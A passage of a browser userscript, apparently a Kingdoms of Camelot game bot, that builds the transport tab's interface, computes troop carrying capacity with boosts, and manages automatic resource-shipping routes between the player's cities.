        m += '<TD width=100px>' + translate("Trade:") + ' <INPUT id=pbtradeamountGold type=text size=11 maxlength=20 value="0"\></td>';
        m += '<TD width=50px><INPUT id=MaxGold type=submit value="Max"></td></tr>';
        m += '</table>';
        m += '<DIV style="text-align:center; margin-top:15px"><INPUT id=pbSaveRoute type=submit value="' + translate("Add Route") + '"><INPUT id=pbManualSend type=submit value="' + translate("Manual Transport") + '"></div>';
        m += '<DIV id=errorSpace></div>'
        t.myDiv.innerHTML = m;
        document.getElementById('TransportTroop')
            .value = 'unt9';
        t.tcp = new CdispCityPicker('pttrader', document.getElementById('ptrescity'), true, t.updateResources, 0);
        t.tcpto = new CdispCityPicker('pttraderTo', document.getElementById('ptcityTo'), true, t.clickCitySelect);
        t.tcpto.bindToXYboxes(document.getElementById('ptcityX'), document.getElementById('ptcityY'));
        document.getElementById('TransportTroop')
            .addEventListener('change', function () {
            t.updateTroops();
        }, false);
        document.getElementById('pbTraderState')
            .addEventListener('click', function () {
            t.toggleTraderState(this);
        }, false);
        document.getElementById('pbTradeReset')
            .addEventListener('click', function () {
            t.tradeRoutes=[];t.saveTradeRoutes();
        }, false);
        document.getElementById('pbSaveRoute')
            .addEventListener('click', function () {
            t.addTradeRoute();
        }, false);
        document.getElementById('pbManualSend')
            .addEventListener('click', function () {
            t.ManualTransport();
        }, false);
        document.getElementById('pbShowRoutes')
            .addEventListener('click', function () {
            t.showTradeRoutes();
        }, false);
        document.getElementById('FillInMax')
            .addEventListener('click', function () {
            document.getElementById('TroopsToSend')
                .value = t.TroopsNeeded;
        }, false);
        document.getElementById('MaxTroops')
            .addEventListener('click', function () {
            var rallypointlevel = March.getMaxSize(t.tcp.city.id);
            var max = t.Troops;
            var maxCalced = 0;
            if (t.Troops > (rallypointlevel)) max = (rallypointlevel);
            document.getElementById('TroopsToSend').value = max;
        }, false);
        document.getElementById('MaxFood')
            .addEventListener('click', function () {
            t.Food = 0;
            if(t.MaxLoad <= 0) {
            	var a = this;
            	setTimeout(function(){document.getElementById('MaxTroops').click()},100);
            	setTimeout(function(){a.click()},1000);
            	setTimeout(function(){document.getElementById('FillInMax').click()},2000);
         };
            var input = t.MaxLoad - (t.Food + t.Wood + t.Stone + t.Ore + t.Gold + t.Astone);
            document.getElementById('pbtradeamountFood')
                .value = (parseInt(input) <= parseIntCommas(document.getElementById('TransRec1')
                .innerHTML)) ? input : parseIntCommas(document.getElementById('TransRec1')
                .innerHTML);
        }, false);
        document.getElementById('MaxWood')
            .addEventListener('click', function () {
            t.Wood = 0;
            if(t.MaxLoad <= 0) {
            	var a = this;
            	setTimeout(function(){document.getElementById('MaxTroops').click()},100);
            	setTimeout(function(){a.click()},1000);
            	setTimeout(function(){document.getElementById('FillInMax').click()},2000);
         };
            var input = t.MaxLoad - (t.Food + t.Wood + t.Stone + t.Ore + t.Gold + t.Astone);
            document.getElementById('pbtradeamountWood')
                .value = (parseInt(input) <= parseIntCommas(document.getElementById('TransRec2')
                .innerHTML)) ? input : parseIntCommas(document.getElementById('TransRec2')
                .innerHTML);
        }, false);
        document.getElementById('MaxStone')
            .addEventListener('click', function () {
            t.Stone = 0;
            if(t.MaxLoad <= 0) {
            	var a = this;
            	setTimeout(function(){document.getElementById('MaxTroops').click()},100);
            	setTimeout(function(){a.click()},1000);
            	setTimeout(function(){document.getElementById('FillInMax').click()},2000);
         };
            var input = t.MaxLoad - (t.Food + t.Wood + t.Stone + t.Ore + t.Gold + t.Astone);
            document.getElementById('pbtradeamountStone')
                .value = (parseInt(input) <= parseIntCommas(document.getElementById('TransRec3')
                .innerHTML)) ? input : parseIntCommas(document.getElementById('TransRec3')
                .innerHTML);
        }, false);
        document.getElementById('MaxOre')
            .addEventListener('click', function () {
            t.Ore = 0;
            if(t.MaxLoad <= 0) {
            	var a = this;
            	setTimeout(function(){document.getElementById('MaxTroops').click()},100);
            	setTimeout(function(){a.click()},1000);
            	setTimeout(function(){document.getElementById('FillInMax').click()},2000);
         };
            var input = t.MaxLoad - (t.Food + t.Wood + t.Stone + t.Ore + t.Gold + t.Astone);
            document.getElementById('pbtradeamountOre')
                .value = (parseInt(input) <= parseIntCommas(document.getElementById('TransRec4')
                .innerHTML)) ? input : parseIntCommas(document.getElementById('TransRec4')
                .innerHTML);
        }, false);
        document.getElementById('MaxGold')
            .addEventListener('click', function () {
            t.Gold = 0;
            if(t.MaxLoad <= 0) {
            	var a = this;
            	setTimeout(function(){document.getElementById('MaxTroops').click()},100);
            	setTimeout(function(){a.click()},1000);
            	setTimeout(function(){document.getElementById('FillInMax').click()},2000);
         };
            var input = t.MaxLoad - (t.Food + t.Wood + t.Stone + t.Ore + t.Gold + t.Astone);
            document.getElementById('pbtradeamountGold')
                .value = (parseInt(input) <= parseIntCommas(document.getElementById('TransGold')
                .innerHTML)) ? input : parseIntCommas(document.getElementById('TransGold')
                .innerHTML);
        }, false);
        document.getElementById('MaxAstone').addEventListener('click', function () {
            t.Astone = 0;
            if(t.MaxLoad <= 0) {
            	var a = this;
            	setTimeout(function(){document.getElementById('MaxTroops').click()},100);
            	setTimeout(function(){a.click()},1000);
            	setTimeout(function(){document.getElementById('FillInMax').click()},2000);
         };
            var input = t.MaxLoad - (t.Food + t.Wood + t.Stone + t.Ore + t.Gold + t.Astone);
            document.getElementById('pbtradeamountAstone')
                .value = (parseInt(input) <= parseIntCommas(document.getElementById('TransRec5')
                .innerHTML)) ? input : parseIntCommas(document.getElementById('TransRec5')
                .innerHTML);
        }, false);
        document.getElementById('pbtransportinterval')
            .addEventListener('keyup', function () {
            if (isNaN(document.getElementById('pbtransportinterval')
                .value)) {
                document.getElementById('pbtransportinterval')
                    .value = 60;
            }
            Options.transportinterval = document.getElementById('pbtransportinterval')
                .value;
            saveOptions();
        }, false);
		document.getElementById('pbrevtrans').addEventListener('change', function(){
			Options.ReverseTransport = document.getElementById('pbrevtrans').checked;
			saveOptions();
		}, false);
        document.getElementById('pbrevtranspc')
            .addEventListener('keyup', function () {
            if (isNaN(document.getElementById('pbrevtranspc')
                .value)) {
                document.getElementById('pbrevtranspc')
                    .value = 0;
            }
            Options.ReverseTransportPercent = document.getElementById('pbrevtranspc')
                .value;
            saveOptions();
        }, false);
        document.getElementById('pbtargetamountFood')
            .addEventListener('change', function () {
            if (isNaNCommas(document.getElementById('pbtargetamountFood')
                .value)) document.getElementById('pbtargetamountFood')
                .value = 0;
        }, false);
        document.getElementById('pbtargetamountWood')
            .addEventListener('change', function () {
            if (isNaNCommas(document.getElementById('pbtargetamountWood')
                .value)) document.getElementById('pbtargetamountWood')
                .value = 0;
        }, false);
        document.getElementById('pbtargetamountStone')
            .addEventListener('change', function () {
            if (isNaNCommas(document.getElementById('pbtargetamountStone')
                .value)) document.getElementById('pbtargetamountStone')
                .value = 0;
        }, false);
        document.getElementById('pbtargetamountOre')
            .addEventListener('change', function () {
            if (isNaNCommas(document.getElementById('pbtargetamountOre')
                .value)) document.getElementById('pbtargetamountOre')
                .value = 0;
        }, false);
        document.getElementById('pbtargetamountAstone')
            .addEventListener('change', function () {
            if (isNaNCommas(document.getElementById('pbtargetamountAstone')
                .value)) document.getElementById('pbtargetamountAstone')
                .value = 0;
        }, false);
        document.getElementById('pbtargetamountGold')
            .addEventListener('change', function () {
            if (isNaNCommas(document.getElementById('pbtargetamountGold')
                .value)) document.getElementById('pbtargetamountGold')
                .value = 0;
        }, false);
        document.getElementById('pbtradeamountFood')
            .addEventListener('change', function () {
            if (isNaNCommas(document.getElementById('pbtradeamountFood')
                .value)) document.getElementById('pbtradeamountFood')
                .value = 0;
        }, false);
        document.getElementById('pbtradeamountWood')
            .addEventListener('change', function () {
            if (isNaNCommas(document.getElementById('pbtradeamountWood')
                .value)) document.getElementById('pbtradeamountWood')
                .value = 0;
        }, false);
        document.getElementById('pbtradeamountStone')
            .addEventListener('change', function () {
            if (isNaNCommas(document.getElementById('pbtradeamountStone')
                .value)) document.getElementById('pbtradeamountStone')
                .value = 0;
        }, false);
        document.getElementById('pbtradeamountOre')
            .addEventListener('change', function () {
            if (isNaNCommas(document.getElementById('pbtradeamountOre')
                .value)) document.getElementById('pbtradeamountOre')
                .value = 0;
        }, false);
        document.getElementById('pbtradeamountAstone')
            .addEventListener('change', function () {
            if (isNaNCommas(document.getElementById('pbtradeamountAstone')
                .value)) document.getElementById('pbtradeamountAstone')
                .value = 0;
        }, false);
        document.getElementById('pbtradeamountGold')
            .addEventListener('change', function () {
            if (isNaNCommas(document.getElementById('pbtradeamountGold')
                .value)) document.getElementById('pbtradeamountGold')
                .value = 0;
        }, false);
        document.getElementById('pbminwagons')
            .addEventListener('keyup', function () {
            if (isNaN(document.getElementById('pbminwagons')
                .value)) document.getElementById('pbminwagons')
                .value = 100;
            Options.minwagons = parseInt(document.getElementById('pbminwagons')
                .value);
            saveOptions();
        }, false)
        document.getElementById('pbshipFood')
            .addEventListener('click', function () {
            if (document.getElementById('pbshipFood')
                .checked == false) {
                document.getElementById('pbtargetamountFood')
                    .disabled = true;
            } else {
                document.getElementById('pbtargetamountFood')
                    .disabled = false;
            }
        }, false);
        document.getElementById('pbshipWood')
            .addEventListener('click', function () {
            if (document.getElementById('pbshipWood')
                .checked == false) {
                document.getElementById('pbtargetamountWood')
                    .disabled = true;
            } else {
                document.getElementById('pbtargetamountWood')
                    .disabled = false;
            }
        }, false);
        document.getElementById('pbshipStone')
            .addEventListener('click', function () {
            if (document.getElementById('pbshipStone')
                .checked == false) {
                document.getElementById('pbtargetamountStone')
                    .disabled = true;
            } else {
                document.getElementById('pbtargetamountStone')
                    .disabled = false;
            }
        }, false);
        document.getElementById('pbshipOre')
            .addEventListener('click', function () {
            if (document.getElementById('pbshipOre')
                .checked == false) {
                document.getElementById('pbtargetamountOre')
                    .disabled = true;
            } else {
                document.getElementById('pbtargetamountOre')
                    .disabled = false;
            }
        }, false);
        document.getElementById('pbshipAstone')
            .addEventListener('click', function () {
            if (document.getElementById('pbshipAstone')
                .checked == false) {
                document.getElementById('pbtargetamountAstone')
                    .disabled = true;
            } else {
                document.getElementById('pbtargetamountAstone')
                    .disabled = false;
            }
        }, false);
        document.getElementById('pbshipGold')
            .addEventListener('click', function () {
            if (document.getElementById('pbshipGold')
                .checked == false) {
                document.getElementById('pbtargetamountGold')
                    .disabled = true;
            } else {
                document.getElementById('pbtargetamountGold')
                    .disabled = false;
            }
        }, false);
        window.addEventListener('unload', t.onUnload, false);
    },
    calcTRBoosts: function (StatID) {
        var equipped = Seed.throne.slotEquip[1];
        var total = 0;
        for (var k = 0; k < equipped.length; k++) {
            var item_id = equipped[k];
            var y = unsafeWindow.kocThroneItems[item_id];
            for (var i = 1; i <= y.quality; i++) {
                var id = y['effects']['slot' + i]['id'];
                if (id == StatID) {
                    var tier = parseInt(y["effects"]["slot" + i]["tier"]);
                    var level = y["level"];
                    var p = unsafeWindow.cm.thronestats.tiers[id][tier];
					while (!p && (tier > 0)) { tier--; p = unsafeWindow.cm.thronestats.tiers[id][tier]; } 
					if (!p) continue; // can't find stats for tier
					if (y["effects"]["slot"+i].fromJewel && (level > unsafeWindow.cm.thronestats.jewelGrowthLimit[y["effects"]["slot"+i].quality])) {
						level = unsafeWindow.cm.thronestats.jewelGrowthLimit[y["effects"]["slot"+i].quality]
					}
                    var Percent = p.base + ((level * level + level) * p.growth * 0.5);
                    total += Percent;
                }
            }
        }
        logit(total);
        return total;
    },
    updateResources: function () {
        var t = Tabs.transport;
        var ToCity = null;
        for (var i = 1; i <= 5; i++)
        if (i == 5) document.getElementById('TransRec' + i)
            .innerHTML = addCommas(parseInt(Seed.resources["city" + t.tcp.city.id]['rec' + i][0]));
        else document.getElementById('TransRec' + i)
            .innerHTML = addCommas(parseInt(Seed.resources["city" + t.tcp.city.id]['rec' + i][0] / 3600));
        document.getElementById('TransGold')
            .innerHTML = addCommas(parseInt(Seed.citystats["city" + t.tcp.city.id]['gold'][0]));
        for (ii in Seed.cities)
        if (Seed.cities[ii][2] == document.getElementById('ptcityX')
            .value && Seed.cities[ii][3] == document.getElementById('ptcityY')
            .value) ToCity = Seed.cities[ii][0];
        for (var i = 1; i <= 5; i++)
        if (ToCity != null) if (i == 5) document.getElementById('HaveRec' + i)
            .innerHTML = addCommas(parseInt(Seed.resources["city" + ToCity]['rec' + i][0]));
        else document.getElementById('HaveRec' + i)
            .innerHTML = addCommas(parseInt(Seed.resources["city" + ToCity]['rec' + i][0] / 3600));
        else document.getElementById('HaveRec' + i)
            .innerHTML = "----";
        if (ToCity != null) document.getElementById('HaveGold')
            .innerHTML = addCommas(parseInt(Seed.citystats["city" + ToCity]['gold'][0]));
        else document.getElementById('HaveGold')
            .innerHTML = "----";
    },
    updateTroops: function (city) {
        var t = Tabs.transport;
        var fontcolor = 'black';
        t.Food = parseIntCommas(document.getElementById('pbtradeamountFood').value);
          t.Wood = parseIntCommas(document.getElementById('pbtradeamountWood').value);
          t.Stone = parseIntCommas(document.getElementById('pbtradeamountStone').value);
          t.Ore = parseIntCommas(document.getElementById('pbtradeamountOre').value);
          t.Gold = parseIntCommas(document.getElementById('pbtradeamountGold').value);
        t.Astone = parseIntCommas(document.getElementById('pbtradeamountAstone').value)*5;
        var unit = document.getElementById('TransportTroop').value;
        t.Troops = parseInt(Seed.units['city' + t.tcp.city.id][unit]);
        var featherweight = parseInt(Seed.tech.tch10) * 0.1;
        var loadEffectBoost = 0;
        if (Seed.playerEffects.loadExpire > unsafeWindow.unixtime()) {
            loadEffectBoost = 0.25;
        };
        var loadBoostBase = (Math.floor(unsafeWindow.cm.ThroneController.effectBonus(6)) * 0.01) + loadEffectBoost;
        if (unsafeWindow.cm.unitFrontendType[unit.slice(3)] == "siege") {
                loadBoostBase += (unsafeWindow.cm.ThroneController.effectBonus(59) * 0.01)
        };
        
        if (unsafeWindow.cm.unitFrontendType[unit.slice(3)] == "horsed") {
                loadBoostBase += (unsafeWindow.cm.ThroneController.effectBonus(48) * 0.01);
        };

        var Load = parseInt(unsafeWindow.unitstats[unit]['5']);
		var LoadSac = "";
		if (unsafeWindow.seed.queue_sacr["city"+t.tcp.city.id]) {
			for(var sacIndex = 0; sacIndex < unsafeWindow.seed.queue_sacr["city"+t.tcp.city.id].length; sacIndex ++ ) { 
				if(unsafeWindow.seed.queue_sacr["city"+t.tcp.city.id][sacIndex]["unitType"] == unit.slice(3)) {
					Load *= unsafeWindow.seed.queue_sacr["city"+t.tcp.city.id][sacIndex]["multiplier"][0];
					LoadSac = '<span style="color:#f00;">&nbsp;&nbsp;&nbsp;Ritual Boost '+Math.round((unsafeWindow.seed.queue_sacr["city"+t.tcp.city.id][sacIndex]["multiplier"][0]-1)*100)+'%</span>';
				}
			}	
		}
        /**
        from camelotmain
        var total_units = 0;
        var load = 0;
        var techLoadBoost = parseInt(seed.tech.tch10) * 0.1;
        var loadEffectBoost = 0;
        if (seed.playerEffects.loadExpire > unixtime()) {
            loadEffectBoost = 0.25
        }
        var loadBoostBase = (cm.ThroneController.effectBonus(6) * 0.01) + loadEffectBoost + techLoadBoost;
        for (var i = 0; i < units.length; i++) {
            var unit_number = parseInt(units[i].value);
            if (!isNaN(unit_number) && (unit_number > 0)) {
                total_units += unit_number;
                var untid = parseInt(units[i].name);
                var loadBoost = loadBoostBase;
                if (cm.unitFrontendType[untid] == "siege") {
                    loadBoost += (cm.ThroneController.effectBonus(59) * 0.01)
                } else {
                    if (cm.unitFrontendType[untid] == "horsed") {
                        loadBoost += (cm.ThroneController.effectBonus(48) * 0.01)
                    }
                }
                load += unit_number * parseInt(unitstats["unt" + untid][5]) * (1 + loadBoost)
            }
        }
        11,792,500,000 12292500000   35734.8  37250
        **/
                if (loadBoostBase > Number(unsafeWindow.cm.thronestats.boosts.Load.Max)/100) {
        loadBoostBase = Number(unsafeWindow.cm.thronestats.boosts.Load.Max)/100;
     };
     loadBoostBase += featherweight; //Should be done after throne room max check to get max boost?
        loadBoostBase += 1;

        var LoadUnit = Math.floor(loadBoostBase*Load);
        var GlobalMaxLoad = t.Troops * LoadUnit ;
        t.MaxLoad = parseInt(document.getElementById('TroopsToSend').value) * LoadUnit;
	t.MaxLoad = Math.floor(t.MaxLoad) -1;  // Lessen issues with roundoff errors
	if(t.MaxLoad < 0)t.MaxLoad=0;
        t.TroopsNeeded = (t.Food + t.Wood + t.Stone + t.Ore + t.Gold + t.Astone) / LoadUnit;
        t.TroopsNeeded = t.TroopsNeeded.toFixed(0);
        if (t.TroopsNeeded < ((t.Food + t.Wood + t.Stone + t.Ore + t.Gold + t.Astone) / LoadUnit)) t.TroopsNeeded++;
        if (t.TroopsNeeded > t.Troops) fontcolor = 'red';
        if (t.Troops > 0) document.getElementById('TroopAmount')
            .innerHTML = '<FONT color=' + fontcolor + '>' + addCommas(t.Troops) + '</font>';
        else document.getElementById('TroopAmount')
            .innerHTML = 0;
        if (GlobalMaxLoad > 0) document.getElementById('CarryAmount')
            .innerHTML = addCommas(GlobalMaxLoad) + LoadSac;
        else document.getElementById('CarryAmount')
            .innerHTML = 0;
        document.getElementById('Calc')
            .innerHTML = '' + translate("Resources:") + ' ' + addCommas(t.Food + t.Wood + t.Stone + t.Ore + t.Gold + t.Astone) + ' / ' + addCommas(t.MaxLoad) + '&nbsp;&nbsp;(' + translate("Troops Needed:") + ' <FONT color=' + fontcolor + '>' + addCommas(t.TroopsNeeded) + '</font> )';
    },
    getRallypoint: function (cityId) {
        var t = Tabs.transport;
        for (var o in Seed.buildings[cityId]) {
            var buildingType = parseInt(Seed.buildings[cityId][o][0]);
            var buildingLevel = parseInt(Seed.buildings[cityId][o][1]);
            if (buildingType == 12) {
                return parseInt(buildingLevel);
                break;
            }
        }
        return 0;
    },
    e_tradeRoutes: function () {
        var t = Tabs.transport;
        clearTimeout(t.timer);
        var now = new Date();
        if (t.traderState.running == true) {
            var now = new Date()
                .getTime() / 1000.0;
            now = now.toFixed(0);
            var last = Options.lasttransport;
            if (now > (parseInt(last) + (Options.transportinterval * 60))) {
                t.checkdoTrades();
            }
        }
        t.timer = setTimeout(function () {
            t.e_tradeRoutes();
        }, Options.transportinterval * 1000);
    },
    delTradeRoutes: function () {
        var t = Tabs.transport;
        t.tradeRoutes = [];
    },
    checkcoords: function (obj) {
        var t = Tabs.transport;
        if (obj.id == 'pbok') {
            t.check = true;
            t.addTradeRoute();
        }
        return;
    },
    addTradeRoute: function () {
        var valid = true;
        var t = Tabs.transport;
        var city = t.tcp.city.id;
        if (document.getElementById('ptcityX')
            .value == 0 && document.getElementById('ptcityY')
            .value == 0 && !t.check) {
            new CdialogConfirm('<SPAN class=boldRed>' + translate("You are about to set a route to location 0,0!") + '</span>', t.checkcoords, unsafeWindow.modal_attack_check, mainPop.getMainDiv);
            return;
        }
        var ship_Food = document.getElementById('pbshipFood')
            .checked;
        var ship_Wood = document.getElementById('pbshipWood')
            .checked;
        var ship_Stone = document.getElementById('pbshipStone')
            .checked;
        var ship_Ore = document.getElementById('pbshipOre')
            .checked;
        var ship_Astone = document.getElementById('pbshipAstone')
            .checked;
        var ship_Gold = document.getElementById('pbshipGold')
            .checked;
        var target_Food = parseIntCommas(document.getElementById('pbtargetamountFood')
            .value);
        var target_Wood = parseIntCommas(document.getElementById('pbtargetamountWood')
            .value);
        var target_Stone = parseIntCommas(document.getElementById('pbtargetamountStone')
            .value);
        var target_Ore = parseIntCommas(document.getElementById('pbtargetamountOre')
            .value);
        var target_Astone = parseIntCommas(document.getElementById('pbtargetamountAstone')
            .value);
        var target_Gold = parseIntCommas(document.getElementById('pbtargetamountGold')
            .value);
        var trade_Food = parseIntCommas(document.getElementById('pbtradeamountFood')
            .value);
        var trade_Wood = parseIntCommas(document.getElementById('pbtradeamountWood')
            .value);
        var trade_Stone = parseIntCommas(document.getElementById('pbtradeamountStone')
            .value);
        var trade_Ore = parseIntCommas(document.getElementById('pbtradeamountOre')
            .value);
        var trade_Astone = parseIntCommas(document.getElementById('pbtradeamountAstone')
            .value);
        var trade_Gold = parseIntCommas(document.getElementById('pbtradeamountGold')
            .value);
        var target_x = document.getElementById('ptcityX')
            .value;
        var target_y = document.getElementById('ptcityY')
            .value;
        var target_city = 0;
        var TroopType = document.getElementById('TransportTroop').value;
        var route_state = true;
        if (t.tcpto.city) if (t.tcpto.city.x == target_x && t.tcpto.city.y == target_y) target_city = t.tcpto.city.id;
        if (valid == true) {
            var lTR = t.tradeRoutes;
            lTR.push({
                city: city,
                ship_Food: ship_Food,
                target_Food: target_Food,
                trade_Food: trade_Food,
                ship_Wood: ship_Wood,
                target_Wood: target_Wood,
                trade_Wood: trade_Wood,
                ship_Stone: ship_Stone,
                target_Stone: target_Stone,
                trade_Stone: trade_Stone,
                ship_Ore: ship_Ore,
                target_Ore: target_Ore,
                trade_Ore: trade_Ore,
                ship_Astone: ship_Astone,
                target_Astone: target_Astone,
                trade_Astone: trade_Astone,
                ship_Gold: ship_Gold,
                target_Gold: target_Gold,
                trade_Gold: trade_Gold,
                target_x: target_x,
                target_y: target_y,
                target_city: target_city,
                TroopType: TroopType,
                route_state: "true"
            });
        }
        document.getElementById('pbTraderDivDRoute')
            .style.background = '#99FF99';
        setTimeout(function () {
            (document.getElementById('pbTraderDivDRoute')
                .style.background = '');
        }, 1000);
    },
    showTradeRoutes: function () {
        var t = Tabs.transport;
        var popTradeRoutes = null;
        t.popTradeRoutes = new pbPopup('pbShowTrade', 0, 0, 750, 485, true, function () {
            clearTimeout(1000);
        });
        var m = '<DIV style="max-height:460px; height:460px; overflow-y:auto"><TABLE align=center cellpadding=0 cellspacing=0 width=100% class="pbTab" id="pbRoutesQueue">';
        t.popTradeRoutes.getMainDiv()
            .innerHTML = '</table></div>' + m;
        t.popTradeRoutes.getTopDiv()
            .innerHTML = '<TD><CENTER><B>' + translate("Transport routes") + '</b></center></td>';
        t.paintTradeRoutes();
        t.popTradeRoutes.show(true);
    },
    paintTradeRoutes: function () {
        var t = Tabs.transport;
        var r = t.tradeRoutes;
        var cityname;
        var m = '<TABLE id=paintRoutes class=pbTab>';
        for (var i = 0; i < (r.length); i++) {
            var queueId = i;
            var cityname = (Cities.byID[r[queueId].city] ? Cities.byID[r[queueId].city].name : "null");
            var citynameTo = null,
                TO, status, unit;
            if (typeof r[queueId].target_city != 'undefined' && parseInt(r[queueId].target_city) > 0) citynameTo = Cities.byID[r[queueId].target_city].name;
            if (citynameTo == null) TO = r[i].target_x + ',' + r[i].target_y;
            else TO = citynameTo;
            if (r[i].route_state) status = '<FONT color=green>' + translate("Enabled") + '</font>';
            else status = '<FONT color=red>' + translate("Disabled") + '</font>';
            if (r[i].TroopType == undefined) unit = 'unt9';
            else unit = r[i].TroopType;
            m += '<TR><TD TD width=12px>&nbsp;&nbsp;</td></tr>';
            m += '<TR><TD width=20px>' + (i + 1) + '</td><TD width=175px>' + translate("From:") + '&nbsp;&nbsp;' + cityname + '</TD><TD width=175px>' + translate("To:") + '&nbsp;&nbsp;' + TO + '</td><TD width=175px>' + status + '</td>';
            m += '<TD width=60px><A onclick="traceEdit(' + queueId + ')">' + translate("Edit") + '</a></td><TD width=60px><A onclick="traceDelete(' + queueId + ')">Delete</a></td></tr>';
            m += '<TR><TD></td><TD>Troops:&nbsp;&nbsp;' + unsafeWindow.unitcost[unit][0] + '</td></tr>';
            if (r[i].ship_Food) m += '<TR><TD></td><TD align=center><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/food_30.png" alt="Food"></td><TD>' + translate("Target:") + ' ' + addCommas(r[i].target_Food) + '</td><TD>' + translate("Trade:") + ' ' + addCommas(r[i].trade_Food) + '</td>';
            if (r[i].ship_Wood) m += '<TR><TD></td><TD align=center><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/wood_30.png" alt="Wood"></td><TD>' + translate("Target:") + ' ' + addCommas(r[i].target_Wood) + '</td><TD>' + translate("Trade:") + ' ' + addCommas(r[i].trade_Wood) + '</td>';
            if (r[i].ship_Stone) m += '<TR><TD></td><TD align=center><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/stone_30.png" alt="Stone"></td><TD>' + translate("Target:") + ' ' + addCommas(r[i].target_Stone) + '</td><TD>' + translate("Trade:") + ' ' + addCommas(r[i].trade_Stone) + '</td>';
            if (r[i].ship_Ore) m += '<TR><TD></td><TD align=center><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/iron_30.png" alt="Iron"></td><TD>' + translate("Target:") + ' ' + addCommas(r[i].target_Ore) + '</td><TD>' + translate("Trade:") + ' ' + addCommas(r[i].trade_Ore) + '</td>';
            if (r[i].ship_Astone) m += '<TR><TD></td><TD align=center><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/aetherstone_30.png" alt="Aether"></td><TD>' + translate("Target:") + ' ' + addCommas(r[i].target_Astone) + '</td><TD>' + translate("Trade:") + ' ' + addCommas(r[i].trade_Astone) + '</td>';
            if (r[i].ship_Gold) m += '<TR><TD></td><TD align=center><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/gold_30.png" alt="Gold"></td><TD>' + translate("Target:") + ' ' + addCommas(r[i].target_Gold) + '</td><TD>' + translate("Trade:") + ' ' + addCommas(r[i].trade_Gold) + '</td>';
        }
        m += '</table>';
        document.getElementById('pbRoutesQueue')
            .innerHTML = m;
        unsafeWindow.traceEdit = t.editQueueElement;
        unsafeWindow.traceDelete = t.cancelQueueElement;
    },
    cancelQueueElement: function (queueId) {
        var t = Tabs.transport;
        var queueId = parseInt(queueId);
        t.tradeRoutes.splice(queueId, 1);
        t.showTradeRoutes();
    },
    editQueueElement: function (queueId) {
        var t = Tabs.transport;
        var r = t.tradeRoutes;
        var queueId = parseInt(queueId);
        var cityname = Cities.byID[r[queueId].city].name;
        var citynameTo, TO;
        if (typeof r[queueId].target_city != 'undefined' && parseInt(r[queueId].target_city) > 0) citynameTo = Cities.byID[r[queueId].target_city].name;
        var Types = ['food', 'wood', 'stone', 'iron', 'aetherstone', 'gold'];
        if (citynameTo == null) TO = r[queueId].target_x + ',' + r[queueId].target_y;
        else TO = citynameTo;
        var n = '<TABLE id=editRoutes class=pbTab>';
        n += '<TD>' + translate("From:") + '&nbsp;' + cityname + '</td><TD>' + translate("To:") + '&nbsp;' + TO + '</td>';
        n += '<TD><INPUT id=TradeStatus type=checkbox>&nbsp;Enable Route</td>';
        n += '<TD width=150px>' + translate("Troop Type:") + '<SELECT id="pbbTransportTroop">';
        for (y in unsafeWindow.unitcost) n += '<option value="' + y + '">' + unsafeWindow.unitcost[y][0] + '</option>';
        n += '</select></td></table><BR><TABLE  id=editRoutes class=pbTab>';
        for (var i = 0; i < Types.length; i++) {
            var icon = Types[i];
            n += '<TR><TD width=50px align=center><img alt="' + icon + '" src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/' + icon + '_30.png"></td>';
            n += '<TD width=50px align=center><INPUT id=pbbship' + icon + ' type=checkbox></td>';
            n += '<TD width=125px>' + translate("Keep:") + ' <INPUT id=pbbtargetamount' + icon + ' type=text size=11 maxlength=11 value="0"></td>';
            n += '<TD width=125px>' + translate("Trade:") + ' <INPUT id=pbbtradeamount' + icon + ' type=text size=11 maxlength=11 value="0"\></td></tr>';
        }
        n += '</table><BR><TABLE id=editRoutes class=pbTab><TR><TD><a class="button20" id="Cancel"><span>' + translate("Cancel") + '</span></a></td>';
        n += '<TD><a class="button20" id="Save"><span>' + translate("Save") + '</span></a></td></tr>';
        n += '</table>';
        document.getElementById('pbRoutesQueue')
            .innerHTML = n;
        document.getElementById('TradeStatus')
            .checked = r[queueId].route_state;
        if (r[queueId].TroopType == undefined) var unit = 'unt9';
        else var unit = r[queueId].TroopType;
        document.getElementById('pbbTransportTroop')
            .value = unit;
        document.getElementById('pbbshipfood')
            .checked = r[queueId].ship_Food;
        document.getElementById('pbbshipwood')
            .checked = r[queueId].ship_Wood;
        document.getElementById('pbbshipstone')
            .checked = r[queueId].ship_Stone;
        document.getElementById('pbbshipiron')
            .checked = r[queueId].ship_Ore;
        document.getElementById('pbbshipaetherstone')
            .checked = r[queueId].ship_Astone;
        document.getElementById('pbbshipgold')
            .checked = r[queueId].ship_Gold;
        document.getElementById('pbbtargetamountfood')
            .value = r[queueId].target_Food;
        document.getElementById('pbbtargetamountwood')
            .value = r[queueId].target_Wood;
        document.getElementById('pbbtargetamountstone')
            .value = r[queueId].target_Stone;
        document.getElementById('pbbtargetamountiron')
            .value = r[queueId].target_Ore;
        document.getElementById('pbbtargetamountaetherstone')
            .value = r[queueId].target_Astone;
        document.getElementById('pbbtargetamountgold')
            .value = r[queueId].target_Gold;
        document.getElementById('pbbtradeamountfood')
            .value = r[queueId].trade_Food;
        document.getElementById('pbbtradeamountwood')
            .value = r[queueId].trade_Wood;
        document.getElementById('pbbtradeamountstone')
            .value = r[queueId].trade_Stone;
        document.getElementById('pbbtradeamountiron')
            .value = r[queueId].trade_Ore;
        document.getElementById('pbbtradeamountaetherstone')
            .value = r[queueId].trade_Astone;
        document.getElementById('pbbtradeamountgold')
            .value = r[queueId].trade_Gold;
        document.getElementById('Cancel')
            .addEventListener('click', function () {
            t.showTradeRoutes();
        }, false);
        document.getElementById('Save')
            .addEventListener('click', function () {
            r[queueId].route_state = document.getElementById('TradeStatus')
                .checked;
            r[queueId].TroopType = document.getElementById('pbbTransportTroop')
                .value;
            r[queueId].ship_Food = (document.getElementById('pbbshipfood')
                .checked);
            r[queueId].ship_Wood = (document.getElementById('pbbshipwood')
                .checked);
            r[queueId].ship_Stone = (document.getElementById('pbbshipstone')
                .checked);
            r[queueId].ship_Ore = (document.getElementById('pbbshipiron')
                .checked);
